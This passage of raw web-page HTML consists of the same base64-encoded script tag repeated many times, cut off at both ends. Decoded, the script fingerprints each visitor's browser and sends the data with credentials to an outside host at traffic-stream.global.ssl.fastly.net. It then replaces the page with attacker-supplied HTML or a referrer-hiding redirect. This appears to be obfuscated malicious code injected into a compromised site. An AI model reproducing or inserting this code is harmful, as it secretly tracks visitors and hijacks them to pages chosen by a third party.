WVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2Z